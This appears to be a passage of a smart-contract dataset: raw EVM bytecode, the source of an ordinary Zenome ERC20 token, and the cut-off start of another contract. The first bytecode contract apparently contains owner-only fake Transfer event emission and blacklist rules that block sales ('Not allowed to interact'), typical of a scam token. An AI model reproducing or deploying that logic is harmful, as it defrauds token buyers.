0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063715018a6116100de578063b14a5c6a11610097578063cc044ca911610071578063cc044ca9146108ac578063d014c01f146109df578063dd62ed3e14610a05578063f8129cd214610a3357610173565b8063b14a5c6a1461087e578063bb88603c146105b6578063bedf77a61461088657610173565b8063715018a6146105b65780638d3ca13e146105be5780639430b496146106f157806395d89b4114610717578063a5aae2541461071f578063a9059cbb1461085257610173565b80633cc4430d116101305780633cc4430d146103465780634e6ec247146104795780635265327c146104a5578063671e9921146104cb57806368d37db5146104ef57806370a082311461059057610173565b806306fdde031461017857806308ec4eb5146101f5578063095ea7b31461029857806318160ddd146102d857806323b872dd146102f2578063313ce56714610328575b600080fd5b610180610b66565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102966004803603602081101561020b57600080fd5b810190602081018135600160201b81111561022557600080fd5b82018360208201111561023757600080fd5b803590602001918460208302840111600160201b8311171561025857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610bfc945050505050565b005b6102c4600480360360408110156102ae57600080fd5b506001600160a01b038135169060200135610cf0565b604080519115158252519081900360200190f35b6102e0610d0d565b60408051918252519081900360200190f35b6102c46004803603606081101561030857600080fd5b506001600160a01b03813581169160208101359091169060400135610d13565b610330610d9a565b6040805160ff9092168252519081900360200190f35b6102966004803603606081101561035c57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561038657600080fd5b82018360208201111561039857600080fd5b803590602001918460208302840111600160201b831117156103b957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561040857600080fd5b82018360208201111561041a57600080fd5b803590602001918460208302840111600160201b8311171561043b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610da3945050505050565b6102966004803603604081101561048f57600080fd5b506001600160a01b038135169060200135610e69565b610296600480360360208110156104bb57600080fd5b50356001600160a01b0316610f47565b6104d3610fb1565b604080516001600160a01b039092168252519081900360200190f35b6102966004803603602081101561050557600080fd5b810190602081018135600160201b81111561051f57600080fd5b82018360208201111561053157600080fd5b803590602001918460208302840111600160201b8311171561055257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610fc0945050505050565b6102e0600480360360208110156105a657600080fd5b50356001600160a01b03166110a6565b6102966110c1565b610296600480360360608110156105d457600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156105fe57600080fd5b82018360208201111561061057600080fd5b803590602001918460208302840111600160201b8311171561063157600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561068057600080fd5b82018360208201111561069257600080fd5b803590602001918460208302840111600160201b831117156106b357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611110945050505050565b6102c46004803603602081101561070757600080fd5b50356001600160a01b03166111d0565b61018061123c565b6102966004803603606081101561073557600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561075f57600080fd5b82018360208201111561077157600080fd5b803590602001918460208302840111600160201b8311171561079257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156107e157600080fd5b8201836020820111156107f357600080fd5b803590602001918460208302840111600160201b8311171561081457600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061129d945050505050565b6102c46004803603604081101561086857600080fd5b506001600160a01b03813516906020013561135d565b6104d3611371565b6102966004803603602081101561089c57600080fd5b50356001600160a01b0316611380565b610296600480360360608110156108c257600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156108ec57600080fd5b8201836020820111156108fe57600080fd5b803590602001918460208302840111600160201b8311171561091f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561096e57600080fd5b82018360208201111561098057600080fd5b803590602001918460208302840111600160201b831117156109a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611402945050505050565b610296600480360360208110156109f557600080fd5b50356001600160a01b03166114a0565b6102e060048036036040811015610a1b57600080fd5b506001600160a01b0381358116916020013516611527565b61029660048036036060811015610a4957600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610a7357600080fd5b820183602082011115610a8557600080fd5b803590602001918460208302840111600160201b83111715610aa657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610af557600080fd5b820183602082011115610b0757600080fd5b803590602001918460208302840111600160201b83111715610b2857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611552945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bf25780601f10610bc757610100808354040283529160200191610bf2565b820191906000526020600020905b815481529060010190602001808311610bd557829003601f168201915b5050505050905090565b600d546001600160a01b03163314610c44576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610cec576001806000848481518110610c6157fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610cb257fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610c47565b5050565b6000610d04610cfd611673565b8484611677565b50600192915050565b60045490565b6000610d20848484611763565b610d9084610d2c611673565b610d8b85604051806060016040528060288152602001612284602891396001600160a01b038a16600090815260036020526040812090610d6a611673565b6001600160a01b0316815260208101919091526040016000205491906119e8565b611677565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610df0576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e6357828181518110610e0857fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206122ac833981519152848481518110610e3e57fe5b60200260200101516040518082815260200191505060405180910390a3600101610df3565b50505050565b600d546001600160a01b03163314610ec8576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610ed59082611612565b600455600d546001600160a01b0316600090815260208190526040902054610efd9082611612565b600d546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391926000805160206122ac8339815191529281900390910190a35050565b600d546001600160a01b03163314610f8f576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b600d546001600160a01b0316331461100d576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8151811015610cec57600180600084848151811061102a57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555061109e82828151811061107857fe5b6020026020010151600b60009054906101000a90046001600160a01b0316600854611677565b600101611010565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b0316331461110e576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b565b600d546001600160a01b0316331461115d576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e6357836001600160a01b031683828151811061117f57fe5b60200260200101516001600160a01b03166000805160206122ac8339815191528484815181106111ab57fe5b60200260200101516040518082815260200191505060405180910390a3600101611160565b600d546000906001600160a01b03163314611220576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b6112348261122c611673565b600854611677565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bf25780601f10610bc757610100808354040283529160200191610bf2565b600d546001600160a01b031633146112ea576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e6357836001600160a01b031683828151811061130c57fe5b60200260200101516001600160a01b03166000805160206122ac83398151915284848151811061133857fe5b60200260200101516040518082815260200191505060405180910390a36001016112ed565b6000610d0461136a611673565b8484611763565b600d546001600160a01b031681565b600d546001600160a01b031633146113cd576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b546113ff928492911690611677565b50565b600d546001600160a01b0316331461144f576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b61145b8361122c611673565b60005b8251811015610e63576114988484838151811061147757fe5b602002602001015184848151811061148b57fe5b6020026020010151611a7f565b60010161145e565b600d546001600160a01b031633146114ed576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b546008546113ff9284921690611677565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b0316331461159f576040805162461bcd60e51b81526020600482015260176024820152600080516020612264833981519152604482015290519081900360640190fd5b60005b8251811015610e63578281815181106115b757fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206122ac8339815191528484815181106115ed57fe5b60200260200101516040518082815260200191505060405180910390a36001016115a2565b60008282018381101561166c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166116bc5760405162461bcd60e51b81526004018080602001828103825260248152602001806122f16024913960400191505060405180910390fd5b6001600160a01b0382166117015760405162461bcd60e51b815260040180806020018281038252602281526020018061221c6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156117995750600d546001600160a01b038381169116145b156117c957600980546001600160a01b0319166001600160a01b0386161790556117c4878787611bf8565b6119df565b600d546001600160a01b03838116911614806117f257506009546001600160a01b038381169116145b8061180a5750600d546001600160a01b038581169116145b1561185357600d546001600160a01b03838116911614801561183d5750836001600160a01b0316826001600160a01b0316145b1561184857600a8390555b6117c4878787611bf8565b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611885576117c4878787611bf8565b6001600160a01b03821660009081526002602052604090205460ff1615156001141561190f576009546001600160a01b03838116911614806118d45750600b546001600160a01b038581169116145b6118485760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b600a54831015611970576009546001600160a01b0385811691161415611848576001600160a01b03821660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690556117c4878787611bf8565b6009546001600160a01b03838116911614806119995750600b546001600160a01b038581169116145b6119d45760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b6119df878787611bf8565b50505050505050565b60008184841115611a775760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a3c578181015183820152602001611a24565b50505050905090810190601f168015611a695780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611ac45760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b038216611b095760405162461bcd60e51b81526004018080602001828103825260238152602001806121f96023913960400191505060405180910390fd5b611b148383836121f3565b611b518160405180606001604052806026815260200161223e602691396001600160a01b03861660009081526020819052604090205491906119e8565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b809082611612565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611bba57600c546001600160a01b031692505b816001600160a01b0316836001600160a01b03166000805160206122ac833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611c2e5750600d546001600160a01b038381169116145b15611dc457600980546001600160a01b0319166001600160a01b03868116919091179091558716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b038616611cd55760405162461bcd60e51b81526004018080602001828103825260238152602001806121f96023913960400191505060405180910390fd5b611ce08787876121f3565b611d1d8560405180606001604052806026815260200161223e602691396001600160a01b038a1660009081526020819052604090205491906119e8565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611d4c9086611612565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611d8657600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206122ac833981519152876040518082815260200191505060405180910390a36119df565b600d546001600160a01b0383811691161480611ded57506009546001600160a01b038381169116145b80611e055750600d546001600160a01b038581169116145b15611e8857600d546001600160a01b038381169116148015611e385750836001600160a01b0316826001600160a01b0316145b15611e4357600a8390555b6001600160a01b038716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611ef4576001600160a01b038716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611f7e576009546001600160a01b0383811691161480611f435750600b546001600160a01b038581169116145b611e435760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b600a54831015612012576009546001600160a01b0385811691161415611e43576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611c905760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6009546001600160a01b038381169116148061203b5750600b546001600160a01b038581169116145b6120765760405162461bcd60e51b815260040180806020018281038252602681526020018061223e6026913960400191505060405180910390fd5b6001600160a01b0387166120bb5760405162461bcd60e51b81526004018080602001828103825260258152602001806122cc6025913960400191505060405180910390fd5b6001600160a01b0386166121005760405162461bcd60e51b81526004018080602001828103825260238152602001806121f96023913960400191505060405180910390fd5b61210b8787876121f3565b6121488560405180606001604052806026815260200161223e602691396001600160a01b038a1660009081526020819052604090205491906119e8565b6001600160a01b0380891660009081526020819052604080822093909355908816815220546121779086611612565b6001600160a01b03808816600090815260208190526040902091909155600d54888216911614156121b157600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206122ac833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202add2f5157381d10d5e5d79b63c1644b905dd897a6078fe78cb711c3918977b064736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,397
0x6342eabec28aec4902432d852dcd08d4f6df96ab
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error * @dev this version copied from zeppelin-solidity, constant changed to pure */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Read-only ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ReadOnlyToken { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function allowance(address owner, address spender) public constant returns (uint256); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract Token is ReadOnlyToken { function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ReadOnlyTokenImpl is ReadOnlyToken { mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract TokenImpl is Token, ReadOnlyTokenImpl { using SafeMath for uint256; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emitTransfer(msg.sender, _to, _value); return true; } function emitTransfer(address _from, address _to, uint256 _value) internal { Transfer(_from, _to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emitTransfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is Token { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public; } contract BurnableTokenImpl is TokenImpl, BurnableToken { /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } /** * @title Ownable * @dev Adds onlyOwner modifier. Subcontracts should implement checkOwner to check if caller is owner. */ contract Ownable { modifier onlyOwner() { checkOwner(); _; } function checkOwner() internal; } contract MintableToken is Token { event Mint(address indexed to, uint256 amount); function mint(address _to, uint256 _amount) public returns (bool); } contract MintableTokenImpl is Ownable, TokenImpl, MintableToken { /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emitMint(_to, _amount); emitTransfer(address(0), _to, _amount); return true; } function emitMint(address _to, uint256 _value) internal { Mint(_to, _value); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract PausableToken is Pausable, TokenImpl { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title OwnableImpl * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract OwnableImpl is Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function OwnableImpl() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ function checkOwner() internal { require(msg.sender == owner); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ZenomeToken is OwnableImpl, PausableToken, MintableTokenImpl, BurnableTokenImpl { string public constant name = "Zenome"; string public constant symbol = "sZNA"; uint8 public constant decimals = 18; function burn(uint256 _value) public whenNotPaused { super.burn(_value); } }
0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c057806323b872dd146101e5578063313ce5671461020d5780633f4ba83a1461023657806340c10f191461024b57806342966c681461026d5780635c975abb14610283578063661884631461029657806370a08231146102b85780638456cb59146102d75780638da5cb5b146102ea57806395d89b4114610319578063a9059cbb1461032c578063d73dd6231461034e578063dd62ed3e14610370578063f2fde38b14610395575b600080fd5b341561010b57600080fd5b6101136103b4565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014f578082015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019557600080fd5b6101ac600160a060020a03600435166024356103eb565b604051901515815260200160405180910390f35b34156101cb57600080fd5b6101d3610414565b60405190815260200160405180910390f35b34156101f057600080fd5b6101ac600160a060020a036004358116906024351660443561041a565b341561021857600080fd5b610220610445565b60405160ff909116815260200160405180910390f35b341561024157600080fd5b61024961044a565b005b341561025657600080fd5b6101ac600160a060020a03600435166024356104b6565b341561027857600080fd5b610249600435610537565b341561028e57600080fd5b6101ac61055a565b34156102a157600080fd5b6101ac600160a060020a036004351660243561056a565b34156102c357600080fd5b6101d3600160a060020a036004351661058c565b34156102e257600080fd5b6102496105a7565b34156102f557600080fd5b6102fd610618565b604051600160a060020a03909116815260200160405180910390f35b341561032457600080fd5b610113610627565b341561033757600080fd5b6101ac600160a060020a036004351660243561065e565b341561035957600080fd5b6101ac600160a060020a0360043516602435610680565b341561037b57600080fd5b6101d3600160a060020a03600435811690602435166106a2565b34156103a057600080fd5b610249600160a060020a03600435166106cd565b60408051908101604052600681527f5a656e6f6d650000000000000000000000000000000000000000000000000000602082015281565b6000805460a060020a900460ff161561040357600080fd5b61040d8383610755565b9392505050565b60015481565b6000805460a060020a900460ff161561043257600080fd5b61043d8484846107c1565b949350505050565b601281565b610452610912565b60005460a060020a900460ff16151561046a57600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60006104c0610912565b6001546104d3908363ffffffff61092f16565b600155600160a060020a0383166000908152600260205260409020546104ff908363ffffffff61092f16565b600160a060020a038416600090815260026020526040902055610522838361093e565b61052e6000848461097f565b50600192915050565b60005460a060020a900460ff161561054e57600080fd5b610557816109cb565b50565b60005460a060020a900460ff1681565b6000805460a060020a900460ff161561058257600080fd5b61040d8383610a85565b600160a060020a031660009081526002602052604090205490565b6105af610912565b60005460a060020a900460ff16156105c657600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600054600160a060020a031681565b60408051908101604052600481527f735a4e4100000000000000000000000000000000000000000000000000000000602082015281565b6000805460a060020a900460ff161561067657600080fd5b61040d8383610b7f565b6000805460a060020a900460ff161561069857600080fd5b61040d8383610c3d565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b6106d5610912565b600160a060020a03811615156106ea57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a03831615156107d857600080fd5b600160a060020a0384166000908152600260205260409020548211156107fd57600080fd5b600160a060020a038085166000908152600360209081526040808320339094168352929052205482111561083057600080fd5b600160a060020a038416600090815260026020526040902054610859908363ffffffff610ce116565b600160a060020a03808616600090815260026020526040808220939093559085168152205461088e908363ffffffff61092f16565b600160a060020a038085166000908152600260209081526040808320949094558783168252600381528382203390931682529190915220546108d6908363ffffffff610ce116565b600160a060020a038086166000908152600360209081526040808320339094168352929052205561090884848461097f565b5060019392505050565b60005433600160a060020a0390811691161461092d57600080fd5b565b60008282018381101561040d57fe5b81600160a060020a03167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968858260405190815260200160405180910390a25050565b81600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a3505050565b600160a060020a0333166000908152600260205260408120548211156109f057600080fd5b5033600160a060020a038116600090815260026020526040902054610a159083610ce1565b600160a060020a038216600090815260026020526040902055600154610a41908363ffffffff610ce116565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b600160a060020a03338116600090815260036020908152604080832093861683529290529081205480831115610ae257600160a060020a033381166000908152600360209081526040808320938816835292905290812055610b19565b610af2818463ffffffff610ce116565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610b9657600080fd5b600160a060020a033316600090815260026020526040902054821115610bbb57600080fd5b600160a060020a033316600090815260026020526040902054610be4908363ffffffff610ce116565b600160a060020a033381166000908152600260205260408082209390935590851681522054610c19908363ffffffff61092f16565b600160a060020a03841660009081526002602052604090205561052e33848461097f565b600160a060020a033381166000908152600360209081526040808320938616835292905290812054610c75908363ffffffff61092f16565b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600082821115610ced57fe5b509003905600a165627a7a7230582032076acc6fab647b26817d0b06efd6e2457c15345c32e0cf54b18232725a897a0029
{"success": true, "error": null, "results": {}}
7,398
0xa04271530a429fc154b1e51092920d7168a1424c
/** *Submitted for verification at Etherscan.io on 2021-06-09 */ // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; 